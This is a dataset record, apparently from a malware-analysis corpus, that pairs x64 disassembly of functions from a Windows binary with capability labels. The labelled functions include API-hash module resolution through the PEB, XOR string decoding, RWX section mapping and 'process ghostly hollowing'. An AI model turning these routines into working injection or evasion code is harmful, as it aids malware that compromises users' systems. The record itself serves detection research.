joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001af8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b42
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b42
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b42
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b42
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b42
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b44
xor al, al
add rsp, 0x28
ret
Function at 0x14001266c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140012498
Function at 0x1d3ae14b0
Capabilities:
Access peb ldr_data

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x70
movzx ebx, word [section..rdata]
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x90], rcx
mov r11, rdx
mov r12, r8
mov rsi, qword [rax]
lea r10, [rsi - 0x10]
nop dword [rax]
mov r8, r10
mov r10, qword [r10]
cmp rsi, r10
je 0x1d3ae155e
mov rax, qword [r8 + 0x60]
lea rcx, [rax + 2]
movzx eax, word [rax]
test ax, ax
je 0x1d3ae14f0
mov edx, 0x2108
mov r9d, edx
add rcx, 2
shl r9d, 6
add edx, r9d
add edx, eax
movzx eax, word [rcx - 2]
test ax, ax
jne 0x1d3ae1510
cmp edx, 0xfcdfbd0e
jne 0x1d3ae14f0
mov edx, dword [r8 + 0x40]
mov rax, qword [r8 + 0x30]
cmp edx, 2
je 0x1d3ae155e
sub edx, 3
lea rdx, [rax + rdx + 1]
nop word cs:[rax + rax]
cmp word [rax], bx
je 0x1d3ae1560
add rax, 1
cmp rax, rdx
jne 0x1d3ae1550
xor eax, eax
movq xmm0, rax
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x40], 0
mov rdx, r12
mov rcx, r11
movhps xmm0, qword [rsp + 0x90]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x60], 0
movaps xmmword [rsp + 0x50], xmm0
call fcn.1d3ae5490
add rsp, 0x70
pop rbx
pop rsi
pop r12
ret

Function at 0x1d3ae15d0
Capabilities:
Access peb ldr_data

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x88
movzx ebx, word [section..rdata]
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov r11, rcx
mov r12, rdx
mov r8d, r8d
mov dword [rsp + 0x5c], 0
mov rdi, qword [rax]
lea r10, [rdi - 0x10]
mov rsi, r10
mov r10, qword [r10]
cmp rdi, r10
je 0x1d3ae1676
mov rax, qword [rsi + 0x60]
lea rcx, [rax + 2]
movzx eax, word [rax]
test ax, ax
je 0x1d3ae1610
mov edx, 0x2108
mov r9d, edx
add rcx, 2
shl r9d, 6
add edx, r9d
add edx, eax
movzx eax, word [rcx - 2]
test ax, ax
jne 0x1d3ae1630
cmp edx, 0xfcdfbd0e
jne 0x1d3ae1610
mov edx, dword [rsi + 0x40]
mov rax, qword [rsi + 0x30]
cmp edx, 2
je 0x1d3ae1676
sub edx, 3
lea rdx, [rax + rdx + 1]
nop dword [rax]
cmp word [rax], bx
je 0x1d3ae1678
add rax, 1
cmp rdx, rax
jne 0x1d3ae1668
xor eax, eax
mov qword [rsp + 0x60], rax
lea r9, [rsp + 0x5c]
mov rdx, r12
mov rcx, r11
mov qword [rsp + 0x40], 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x70], 0
call fcn.1d3ae5490
test eax, eax
mov eax, 0
cmovne eax, dword [rsp + 0x5c]
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop r12
ret
Function at 0x1d3ae1890
Capabilities:
Access peb ldr_data

Disassembly:
push r13
push r12
push rsi
push rbx
sub rsp, 0x78
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0xa0], rcx
mov r13, r8
mov r8, r9
movzx r9d, word [section..rdata]
mov r12, rdx
mov rsi, qword [rax]
lea r11, [rsi - 0x10]
nop
mov rbx, r11
mov r11, qword [r11]
cmp rsi, r11
je 0x1d3ae1937
mov rax, qword [rbx + 0x60]
lea rcx, [rax + 2]
movzx eax, word [rax]
test ax, ax
je 0x1d3ae18d0
mov edx, 0x2108
mov r10d, edx
add rcx, 2
shl r10d, 6
add edx, r10d
add edx, eax
movzx eax, word [rcx - 2]
test ax, ax
jne 0x1d3ae18f0
cmp edx, 0xfcdfbd0e
jne 0x1d3ae18d0
mov edx, dword [rbx + 0x40]
mov rax, qword [rbx + 0x30]
cmp edx, 2
je 0x1d3ae1937
sub edx, 3
lea rdx, [rax + rdx + 1]
nop dword [rax]
cmp word [rax], r9w
je 0x1d3ae1939
add rax, 1
cmp rax, rdx
jne 0x1d3ae1928
xor eax, eax
movq xmm0, rax
mov rax, qword [rsp + 0xe0]
mov rdx, r13
mov rcx, r12
mov r9, qword [rsp + 0xc0]
movhps xmm0, qword [rsp + 0xa0]
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xd8]
movaps xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
call fcn.1d3ae5490
add rsp, 0x78
pop rbx
pop rsi
pop r12
pop r13
ret
Function at 0x1d3ae3e30
Capabilities:
Enumerate pe sections

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rbp, rdx
movsxd rdx, dword [rdx + 0x3c]
mov r12, rcx
add rdx, rbp
movzx eax, word [rdx + 6]
test ax, ax
je 0x1d3ae3f4c
movzx ecx, word [rdx + 0x14]
sub eax, 1
lea rsi, [rsp + 0x2a]
movzx eax, ax
lea rbx, [rdx + rcx + 0x18]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1d3ae3e85
add rbx, 0x28
cmp rdi, rbx
je 0x1d3ae3f4c
mov eax, 0x71
mov edx, 0x71
mov rcx, rbx
mov dword [rsp + 0x2a], 0x7562712b
mov word [rsp + 0x28], ax
mov word [rsp + 0x2e], dx
movzx eax, byte [rsp + 0x2a]
mov rdx, rsi
mov dword [rsp + 0x24], 0x7562712b
add eax, 3
mov byte [rsp + 0x2a], al
movzx eax, byte [rsp + 0x2b]
add eax, 3
mov byte [rsp + 0x2b], al
movzx eax, byte [rsp + 0x2c]
add eax, 3
mov byte [rsp + 0x2c], al
movzx eax, byte [rsp + 0x2d]
add eax, 3
mov byte [rsp + 0x2d], al
movzx eax, byte [rsp + 0x2e]
add eax, 3
mov byte [rsp + 0x2e], al
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1d3ae3e78
mov ecx, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov r8d, 0x40
add rcx, r12
call fcn.1d3ae15d0
mov esi, eax
mov eax, 9
test esi, esi
je 0x1d3ae3f51
mov eax, dword [rbx + 0xc]
mov r8d, dword [rbx + 8]
lea rcx, [r12 + rax]
lea rdx, [rbp + rax]
call sub.msvcrt.dll_memcpy
mov ecx, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov r8d, esi
add rcx, r12
call fcn.1d3ae15d0
cmp eax, 1
sbb eax, eax
and eax, 0xa
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, 0xb
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x1d3ae5e20
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor r9d, r9d
xor r8d, r8d
mov edx, 1
mov ecx, 1
jmp fcn.1d3ae58d0
Function at 0x1d3af6d90
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov eax, ecx
mov r9, rdx
not eax
cmp r8, 3
jbe 0x1d3af6e60
lea rdx, [r8 - 4]
lea r10, [0x1d3bdabe0]
shr rdx, 2
lea rcx, [r9 + rdx*4 + 4]
nop dword [rax]
mov edx, eax
xor al, byte [r9]
add r9, 4
movzx eax, al
shr edx, 8
xor edx, dword [r10 + rax*4]
mov eax, edx
xor dl, byte [r9 - 3]
movzx edx, dl
shr eax, 8
xor eax, dword [r10 + rdx*4]
mov edx, eax
xor al, byte [r9 - 2]
movzx eax, al
shr edx, 8
xor edx, dword [r10 + rax*4]
mov eax, edx
xor dl, byte [r9 - 1]
movzx edx, dl
shr eax, 8
xor eax, dword [r10 + rdx*4]
cmp r9, rcx
jne 0x1d3af6db8
and r8d, 3
test r8, r8
je 0x1d3af6e54
mov r9d, eax
xor al, byte [rcx]
lea rdx, [0x1d3bdabe0]
movzx eax, al
shr r9d, 8
xor r9d, dword [rdx + rax*4]
mov eax, r9d
sub r8, 1
je 0x1d3af6e54
xor al, byte [rcx + 1]
shr r9d, 8
movzx eax, al
xor r9d, dword [rdx + rax*4]
mov eax, r9d
cmp r8, 1
je 0x1d3af6e54
xor al, byte [rcx + 2]
mov r8d, r9d
movzx eax, al
shr r8d, 8
xor r8d, dword [rdx + rax*4]
mov eax, r8d
not eax
ret
mov rcx, rdx
jmp 0x1d3af6e04
Function at 0x1d3b0ac80
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rdi
push rsi
push rbx
mov rax, rcx
lea rcx, [rcx + 0xf]
sub rcx, rdx
cmp rcx, 0x1e
jbe 0x1d3b0ad64
movdqu xmm1, xmmword [rdx]
movups xmmword [rax], xmm1
movdqu xmm0, xmmword [rdx + 0x10]
movups xmmword [rax + 0x10], xmm0
movzx edi, byte [rax + 0x1f]
movzx r9d, byte [rax + 0x1e]
mov r10d, 8
lea r11, [0x1d3bdbe80]
movzx r8d, byte [rax + 0x1d]
movzx edx, byte [rax + 0x1c]
lea rbx, [0x1d3bdbd60]
jmp 0x1d3b0ad29
movzx r8d, r8b
movzx edx, dl
movzx ecx, byte [r11 + r8]
movzx r8d, r9b
movzx r9d, dil
movzx edi, byte [r11 + rdx]
mov edx, r10d
movzx r8d, byte [r11 + r8]
movzx r9d, byte [r11 + r9]
shr edx, 3
xor cl, byte [rbx + rdx]
mov edx, ecx
xor dl, byte [rax]
xor r8b, byte [rax + 1]
add r10d, 1
add rax, 4
xor r9b, byte [rax - 2]
xor dil, byte [rax - 1]
mov byte [rax + 0x1c], dl
mov byte [rax + 0x1d], r8b
mov byte [rax + 0x1e], r9b
mov byte [rax + 0x1f], dil
cmp r10d, 0x3c
je 0x1d3b0ad60
mov ecx, r10d
and ecx, 7
je 0x1d3b0acd0
cmp ecx, 4
jne 0x1d3b0acfe
movzx edx, dl
movzx r8d, r8b
movzx esi, r9b
movzx ecx, dil
movzx edx, byte [r11 + rdx]
movzx r8d, byte [r11 + r8]
movzx r9d, byte [r11 + rsi]
movzx edi, byte [r11 + rcx]
jmp 0x1d3b0acfe
pop rbx
pop rsi
pop rdi
ret
movzx ecx, byte [rdx]
mov byte [rax], cl
movzx ecx, byte [rdx + 1]
mov byte [rax + 1], cl
movzx ecx, byte [rdx + 2]
mov byte [rax + 2], cl
movzx ecx, byte [rdx + 3]
mov byte [rax + 3], cl
movzx ecx, byte [rdx + 4]
mov byte [rax + 4], cl
movzx ecx, byte [rdx + 5]
mov byte [rax + 5], cl
movzx ecx, byte [rdx + 6]
mov byte [rax + 6], cl
movzx ecx, byte [rdx + 7]
mov byte [rax + 7], cl
movzx ecx, byte [rdx + 8]
mov byte [rax + 8], cl
movzx ecx, byte [rdx + 9]
mov byte [rax + 9], cl
movzx ecx, byte [rdx + 0xa]
mov byte [rax + 0xa], cl
movzx ecx, byte [rdx + 0xb]
mov byte [rax + 0xb], cl
movzx ecx, byte [rdx + 0xc]
mov byte [rax + 0xc], cl
movzx ecx, byte [rdx + 0xd]
mov byte [rax + 0xd], cl
movzx ecx, byte [rdx + 0xe]
mov byte [rax + 0xe], cl
movzx ecx, byte [rdx + 0xf]
mov byte [rax + 0xf], cl
movzx ecx, byte [rdx + 0x10]
mov byte [rax + 0x10], cl
movzx ecx, byte [rdx + 0x11]
mov byte [rax + 0x11], cl
movzx ecx, byte [rdx + 0x12]
mov byte [rax + 0x12], cl
movzx ecx, byte [rdx + 0x13]
mov byte [rax + 0x13], cl
movzx ecx, byte [rdx + 0x14]
mov byte [rax + 0x14], cl
movzx ecx, byte [rdx + 0x15]
mov byte [rax + 0x15], cl
movzx ecx, byte [rdx + 0x16]
mov byte [rax + 0x16], cl
movzx ecx, byte [rdx + 0x17]
mov byte [rax + 0x17], cl
movzx ecx, byte [rdx + 0x18]
mov byte [rax + 0x18], cl
movzx ecx, byte [rdx + 0x19]
mov byte [rax + 0x19], cl
movzx ecx, byte [rdx + 0x1a]
mov byte [rax + 0x1a], cl
movzx ecx, byte [rdx + 0x1b]
mov byte [rax + 0x1b], cl
movzx ecx, byte [rdx + 0x1c]
mov byte [rax + 0x1c], cl
movzx ecx, byte [rdx + 0x1d]
mov byte [rax + 0x1d], cl
movzx ecx, byte [rdx + 0x1e]
mov byte [rax + 0x1e], cl
movzx edx, byte [rdx + 0x1f]
mov byte [rax + 0x1f], dl
jmp 0x1d3b0aca7
Function at 0x1d3b0faf0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub rsp, 0x28
mov r8, rcx
movzx ecx, byte [rcx + 0x1f]
lea r9, [r8 + 0x20]
mov edx, ecx
and ecx, 0x7f
shr dl, 7
mov byte [r8 + 0x1f], cl
movzx edx, dl
lea eax, [rdx + rdx*8]
lea eax, [rdx + rax*2]
mov rdx, r8
nop word [rax + rax]
movzx ecx, byte [rdx]
add rdx, 1
add eax, ecx
mov byte [rdx - 1], al
shr ax, 8
cmp r9, rdx
jne 0x1d3b0fb20
xor edx, edx
mov eax, 0x13
mov r9, rsp
nop
movzx ecx, byte [r8 + rdx]
add eax, ecx
mov byte [r9 + rdx], al
add rdx, 1
shr ax, 8
cmp rdx, 0x1f
jne 0x1d3b0fb40
movzx edx, byte [r8 + 0x1f]
movdqu xmm1, xmmword [r8]
pxor xmm1, xmmword [rsp]
lea eax, [rax + rdx - 0x80]
mov byte [rsp + 0x1f], al
sar ax, 0xf
movd xmm0, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
pand xmm1, xmm0
pxor xmm1, xmmword [rsp]
movups xmmword [r8], xmm1
movdqu xmm1, xmmword [r8 + 0x10]
pxor xmm1, xmmword [rsp + 0x10]
pand xmm0, xmm1
pxor xmm0, xmmword [rsp + 0x10]
movups xmmword [r8 + 0x10], xmm0
add rsp, 0x28
ret

Function at 0x1d3b102d0
Capabilities:
Encrypt data using curve25519
Hash data using sha512

Disassembly:
push r12
push rbx
sub rsp, 0xe8
movdqa xmm0, xmmword [0x1d3bdc400]
movdqa xmm1, xmmword [0x1d3bdc410]
movdqa xmm2, xmmword [0x1d3bdc420]
movdqa xmm3, xmmword [0x1d3bdc430]
movdqu xmm4, xmmword [rdx]
movdqu xmm5, xmmword [rdx + 0x10]
lea r8, [rsp + 0x60]
mov rbx, rcx
lea r12, [rsp + 0x20]
mov qword [rsp + 0x80], 0
mov rdx, r8
mov rcx, r12
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0xd0], 0
mov byte [rsp + pe_nt_image_headers64], 0x80
mov byte [rsp + 0xde], 1
movaps xmmword [rsp + 0x20], xmm0
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x40], xmm2
movaps xmmword [rsp + 0x50], xmm3
movaps xmmword [rsp + 0x60], xmm4
movaps xmmword [rsp + 0x70], xmm5
call fcn.1d3b0fd80
mov r8d, 0x40
mov rdx, rbx
mov rcx, r12
call fcn.1d3b10230
movzx eax, byte [rbx + 0x1f]
and byte [rbx], 0xf8
and eax, 0x7f
or eax, 0x40
mov byte [rbx + 0x1f], al
add rsp, 0xe8
pop rbx
pop r12
ret
Function at 0x1d3b105e0
Capabilities:
Hash data using sha512

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x78
movdqa xmm0, xmmword [0x1d3bdc400]
movdqa xmm1, xmmword [0x1d3bdc410]
movdqa xmm2, xmmword [0x1d3bdc420]
movdqa xmm3, xmmword [0x1d3bdc430]
mov rbp, qword [rsp + 0xe0]
mov r14, rcx
mov ecx, r8d
mov r13, rdx
mov r12, r9
lea r15, [rbp + rcx]
movaps xmmword [rsp + 0x30], xmm0
add rcx, rdx
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x60], xmm3
cmp rbp, 0x7f
ja 0x1d3b106b0
cmp r15, 0x7f
jbe 0x1d3b10780
mov edx, pe_nt_image_headers64
lea rdi, [rcx + 8]
mov rsi, r12
sub edx, r8d
mov r8, qword [r9]
and rdi, 0xfffffffffffffff8
mov eax, edx
lea r9, [r9 + rax]
mov qword [rcx], r8
mov r8, qword [r9 - 8]
mov qword [rsp + 0x20], r9
mov qword [rcx + rax - 8], r8
sub rcx, rdi
add edx, ecx
sub rsi, rcx
shr edx, 3
mov ecx, edx
mov rdx, r13
rep movsq qword [rdi], qword [rsi]
lea rdi, [rsp + 0x30]
mov rcx, rdi
call fcn.1d3b0fd80
mov r9, qword [rsp + 0x20]
jmp 0x1d3b1073c
mov edx, pe_nt_image_headers64
lea rdi, [rcx + 8]
mov rsi, r12
sub edx, r8d
mov r8, qword [r9]
and rdi, 0xfffffffffffffff8
mov eax, edx
lea r9, [r9 + rax]
mov qword [rcx], r8
mov r8, qword [r9 - 8]
mov qword [rsp + 0x28], r9
mov qword [rcx + rax - 8], r8
sub rcx, rdi
sub rsi, rcx
add ecx, edx
mov qword [rsp + 0x20], rax
mov rdx, r13
shr ecx, 3
rep movsq qword [rdi], qword [rsi]
lea rdi, [rsp + 0x30]
mov rcx, rdi
call fcn.1d3b0fd80
mov rax, qword [rsp + 0x20]
mov r9, qword [rsp + 0x28]
lea rbx, [rax + 0x80]
cmp rbp, rbx
jb 0x1d3b1073c
lea rsi, [r12 - 0x80]
nop dword [rax + rax]
lea rdx, [rsi + rbx]
mov rcx, rdi
call fcn.1d3b0fd80
mov rax, rbx
sub rbx, 0xffffffffffffff80
cmp rbx, rbp
jbe 0x1d3b10720
lea r9, [r12 + rax]
mov r8, r15
mov rdx, r9
mov rcx, rdi
call fcn.1d3b100a0
mov rdx, r13
mov rcx, rdi
mov r8d, 0x40
call fcn.1d3b10230
mov r8d, 0x40
mov rdx, r13
mov rcx, r14
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp fcn.1d3b10410
mov r8, rbp
mov rdx, r9
lea rdi, [rsp + 0x30]
call sub.msvcrt.dll_memcpy
mov r8, r15
mov rdx, r13
mov rcx, rdi
call fcn.1d3b100a0
jmp 0x1d3b1074a
Function at 0x1d3b14ea0
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
mov eax, dword [rdx]
mov dword [rcx + 0x10], eax
mov eax, dword [rdx + 4]
mov dword [rcx + 0x14], eax
mov eax, dword [rdx + 8]
mov dword [rcx + 0x18], eax
mov eax, dword [rdx + 0xc]
mov dword [rcx + 0x1c], eax
lea rax, str.expand_16_byte_k
cmp r8d, 0x100
jne 0x1d3b14ed2
add rdx, 0x10
lea rax, str.expand_32_byte_k
mov r8d, dword [rdx]
mov dword [rcx + 0x20], r8d
mov r8d, dword [rdx + 4]
mov dword [rcx + 0x24], r8d
mov r8d, dword [rdx + 8]
mov dword [rcx + 0x28], r8d
mov edx, dword [rdx + 0xc]
mov dword [rcx + 0x2c], edx
movsx edx, byte [rax + 1]
movsx r8d, byte [rax + 2]
shl edx, 8
shl r8d, 0x10
or edx, r8d
movsx r8d, byte [rax]
or edx, r8d
movsx r8d, byte [rax + 3]
shl r8d, 0x18
or edx, r8d
mov dword [rcx], edx
movsx edx, byte [rax + 5]
movsx r8d, byte [rax + 6]
shl edx, 8
shl r8d, 0x10
or edx, r8d
movsx r8d, byte [rax + 4]
or edx, r8d
movsx r8d, byte [rax + 7]
shl r8d, 0x18
or edx, r8d
mov dword [rcx + 4], edx
movsx edx, byte [rax + 9]
movsx r8d, byte [rax + 0xa]
shl edx, 8
shl r8d, 0x10
or edx, r8d
movsx r8d, byte [rax + 8]
or edx, r8d
movsx r8d, byte [rax + 0xb]
shl r8d, 0x18
or edx, r8d
mov dword [rcx + 8], edx
movsx edx, byte [rax + 0xd]
movsx r8d, byte [rax + 0xe]
shl edx, 8
shl r8d, 0x10
or edx, r8d
movsx r8d, byte [rax + 0xc]
movsx eax, byte [rax + 0xf]
or edx, r8d
shl eax, 0x18
or eax, edx
mov dword [rcx + 0xc], eax
ret
Function at 0x1d3b14fe0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
test r9d, r9d
je 0x1d3b14ff0
jmp 0x1d3b14200
ret
Function at 0x1d3b17830
Capabilities:
Encode data using xor

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x148
xor eax, eax
movdqa xmm0, xmmword [0x1d3bdc5f0]
mov rbx, rcx
mov ecx, 0xd
mov rbp, rdx
mov rsi, r8
lea r13, [rsp + 0xd0]
mov qword [rbx], 0
movabs rdx, 0x8f95b288889e9894
mov r12, r9
mov rdi, r13
mov qword [rbx + 8], 0
rep stosq qword [rdi], rax
mov eax, 0xffffac97
mov dword [rsp + 0xd0], 0x68
mov word [rsp + 0xa4], ax
movabs rax, 0x89ab9e8f9a9e89b8
mov qword [rsp + 0xb0], rax
xor eax, eax
mov qword [rsp + 0xb8], rdx
mov edx, 0xffffac97
mov dword [rsp + 0xc0], 0x9a95899e
mov qword [rbx + 0x10], 0
mov word [rsp + 0xc4], dx
mov qword [rsp + 0x68], 0
mov dword [rsp + 0xa0], 0x9a95899e
mov byte [rsp + 0xa6], 0
mov byte [rsp + 0xc6], 0
movaps xmmword [rsp + 0x90], xmm0
nop dword [rax]
movzx edx, byte [rsp + rax + 0xb0]
xor edx, 0xfffffffb
mov byte [rsp + rax + 0xb0], dl
add rax, 1
cmp rax, 0x16
jne 0x1d3b17908
mov rax, qword [0x1d3bdc600]
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x83]
mov dword [rsp + 0x78], 0x95959dd7
mov byte [rsp + 0x7c], 0
mov qword [rsp + 0x70], rax
movabs rax, 0xcbca959c978b9c92
mov qword [rsp + 0x83], rax
mov dword [rsp + 0x8b], 0x95959dd7
mov byte [rsp + 0x8f], 0
movzx eax, byte [rsp + 0x83]
xor eax, 0xfffffff9
mov byte [rsp + 0x83], al
movzx eax, byte [rsp + 0x84]
xor eax, 0xfffffff9
mov byte [rsp + 0x84], al
movzx eax, byte [rsp + 0x85]
xor eax, 0xfffffff9
mov byte [rsp + 0x85], al
movzx eax, byte [rsp + 0x86]
xor eax, 0xfffffff9
mov byte [rsp + 0x86], al
movzx eax, byte [rsp + 0x87]
xor eax, 0xfffffff9
mov byte [rsp + 0x87], al
movzx eax, byte [rsp + 0x88]
xor eax, 0xfffffff9
mov byte [rsp + 0x88], al
movzx eax, byte [rsp + 0x89]
xor eax, 0xfffffff9
mov byte [rsp + 0x89], al
movzx eax, byte [rsp + 0x8a]
xor eax, 0xfffffff9
mov byte [rsp + 0x8a], al
movzx eax, byte [rsp + 0x8b]
xor eax, 0xfffffff9
mov byte [rsp + 0x8b], al
movzx eax, byte [rsp + 0x8c]
xor eax, 0xfffffff9
mov byte [rsp + 0x8c], al
movzx eax, byte [rsp + 0x8d]
xor eax, 0xfffffff9
mov byte [rsp + 0x8d], al
movzx eax, byte [rsp + 0x8e]
xor eax, 0xfffffff9
mov byte [rsp + 0x8e], al
call fcn.1d3ae6130
lea rdx, [rsp + 0x68]
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x58], rdx
mov r8, rsi
xor edx, edx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], rbp
mov dword [rsp + 0x30], 0x800000c
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call rax
test eax, eax
setne al
add rsp, 0x148
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret

Function at 0x1d3b17ab0
Capabilities:
Allocate or change rwx memory
Map section object

Disassembly:
sub rsp, 0x68
xor r9d, r9d
mov r10, rcx
mov qword [rsp + 0x30], r8
mov rcx, rdx
lea r8, [rsp + 0x58]
mov qword [rsp + 0x58], 0
mov rdx, r10
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
cmp eax, 0x40000003
je 0x1d3b17b11
xor r8d, r8d
test eax, eax
jne 0x1d3b17b16
mov r8, qword [rsp + 0x58]
mov rax, r8
add rsp, 0x68
ret
Function at 0x1d3b1a360
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
test rcx, rcx
je 0x1d3b1a389
cmp word [rcx], 0x5a4d
jne 0x1d3b1a389
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x1d3b1a389
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1d3b1a389
mov r8d, dword [rcx + 0x28]
mov eax, r8d
ret

Function at 0x1d3b1a390
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
test rcx, rcx
je 0x1d3b1a3bf
cmp word [rcx], 0x5a4d
jne 0x1d3b1a3bf
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x1d3b1a3bf
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1d3b1a3bf
cmp word [rcx + 0x18], 0x20b
sete r8b
mov eax, r8d
ret
Function at 0x1d3b1b840
Capabilities:
Process ghostly hollowing

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xb0
lea rbp, [rsp + 0x90]
mov r12, rcx
lea rdi, [rsp + 0x80]
mov qword [rsp + 0x80], rbp
test rcx, rcx
je 0x1d3b1ba60
call sub.msvcrt.dll_wcslen
lea rbx, [rax + rax]
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x60], rsi
cmp rbx, 0xe
ja 0x1d3b1ba80
mov rcx, qword [rsp + 0x80]
mov rax, rsi
cmp rsi, 1
je 0x1d3b1ba70
test rsi, rsi
jne 0x1d3b1ba40
xor r8d, r8d
mov qword [rsp + 0x88], rax
lea rbx, str.___
mov word [rcx + rax*2], r8w
mov rcx, rbx
call sub.msvcrt.dll_wcslen
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
mov rcx, rdi
call fcn.1d3bc3600
lea rbx, [rsp + 0x70]
lea rdx, [rax + 0x10]
mov qword [rsp + 0x60], rbx
mov rcx, qword [rax]
cmp rcx, rdx
je 0x1d3b1bab0
mov qword [rsp + 0x60], rcx
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x70], rcx
mov rcx, qword [rax + 8]
mov qword [rsp + 0x68], rcx
mov qword [rax], rdx
mov rcx, qword [rsp + 0x80]
xor edx, edx
mov qword [rax + 8], 0
mov word [rax + 0x10], dx
cmp rcx, rbp
je 0x1d3b1b942
mov rax, qword [rsp + 0x90]
lea rdx, [rax + rax + 2]
call fcn.1d3bd4fb0
lea rsi, [rsp + 0x40]
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov rcx, rsi
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov qword [rsp + 0x80], 0
mov r8, rdi
lea rcx, [rsp + 0x38]
lea r9, [rsp + 0x50]
mov qword [rsp + 0x98], 0
mov edx, 0xc0110000
mov qword [rsp + 0x88], 0
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 0
mov dword [rsp + 0x80], 0x30
mov dword [rsp + 0x98], 0x40
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x38], 0xffffffffffffffff
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
call qword [sym.imp.ntdll.dll_NtOpenFile]
mov rcx, qword [rsp + 0x60]
test eax, eax
mov r12, 0xffffffffffffffff
cmovns r12, qword [rsp + 0x38]
cmp rcx, rbx
je 0x1d3b1ba2c
mov rax, qword [rsp + 0x70]
lea rdx, [rax + rax + 2]
call fcn.1d3bd4fb0
mov rax, r12
add rsp, 0xb0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov r8, rbx
mov rdx, r12
call sub.msvcrt.dll_memcpy
